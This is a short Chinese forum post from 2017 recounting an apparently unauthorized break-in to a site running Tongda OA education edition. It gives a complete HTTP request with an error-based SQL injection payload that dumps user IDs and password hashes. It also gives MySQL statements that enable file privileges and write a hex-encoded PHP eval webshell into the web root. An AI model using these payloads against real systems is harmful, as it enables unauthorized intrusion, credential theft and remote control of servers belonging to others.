本帖最后由 MrFk 于 2017-2-20 11:19 编辑
90sec投稿文章0x00 信息收集目标站:www.xxx.com 端口开放情况:
在80,800,8080找到web服务 80端口渗透无果 8080端口是市教育系统,不敢下手,故从800端口入手 0x01 sql注入取得关键信息从主页得知cms类型为通达oa教育版 http://mrfk.lol/content/images/2017/02/2017-2-1.png 利用之前的漏洞直接报错注入出账号密码,payload: POST /general/document/index.php/recv/register/turn HTTP/1.1 User-Agent: curl/7.33.0 Host: **.**.**.** Accept: */* Proxy-Connection: Keep-Alive Content-Length: 33 Content-Type: application/x-www-form-urlencoded _SERVER=&rid=EXP(~(SELECT*FROM(SELECT concat(user_id,0x7e,password) from user LIMIT 0,1)a))http://mrfk.lol/content/images/2017/02/6.png 0x02 失败的尝试由于最开始还没有购买cmd5的时候,我未能解开这种加密方式(md5(unix)),于是只好从别处入手,在注入的时候得到一个没有密码的账号,登陆进后台后试图通过http://static.hx99.net/static/bugs/wooyun-2014-061251.html这种方式getshell,但是新版register_globals=off了,所以这种方法失败. 0x03 成功getshell解开md5,密码为admin!,登陆后台. 在网页的系统信息栏找到oa的绝对路径
http://mrfk.lol/content/images/2017/02/7.png 于是利用sql导入功能写入shell(这是一个坑点,利用前人的经验未能成功,本地复现也未能成功) 前人的payload: update mysql.user set file_priv='Y' where user='root'; flush privileges; select concat("'",0x3C3F706870206563686F2022776F6F79756E20746573742E223B3F3E) into outfile '../webroot/test.php'; update mysql.user set file_priv='N' where user='root'; flush privileges;我测试之后,需要导入两次这样的sql: update mysql.user set file_priv='Y' where user='root'; flush privileges; select concat("'",0x3C3F70687020406576616C28245F504F53545B273930736563275D29203F3E) into outfile 'd:/myoa/webroot/test.php';成功getshell http://mrfk.lol/content/images/2017/02/8.png http://mrfk.lol/content/images/2017/02/9.png 0x04 结语虽然东西很基础,但是也学到了不少东西,算是一个记录吧.
|